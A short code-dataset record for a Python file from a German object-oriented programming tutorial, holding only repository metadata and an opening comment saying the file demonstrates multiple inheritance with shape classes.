[ "MIT" ]
1
2020-12-24T15:42:54.000Z
2020-12-24T15:42:54.000Z
Kapitel_3/_E1_shapes.py
Geralonx/Classes_Tutorial
9499db8159efce1e3c38975b66a9c649631c6727
[ "MIT" ]
null
null
null
Kapitel_3/_E1_shapes.py
Geralonx/Classes_Tutorial
9499db8159efce1e3c38975b66a9c649631c6727
[ "MIT" ]
null
null
null
# Dieses File soll ein paar Beispiele von mehrfachen Vererbungen zeigen. # Ob man dies genau so machen sollte und ob diese Vererbungsstruktur und dieses # Design sinnvoll ist, darüber kann man sich sicher streiten. Der Sinn dieses # Files ist lediglich eine größere Vererbeungsstruktur zu zeigen, um die # Handhabung ...
43.27
109
0.677028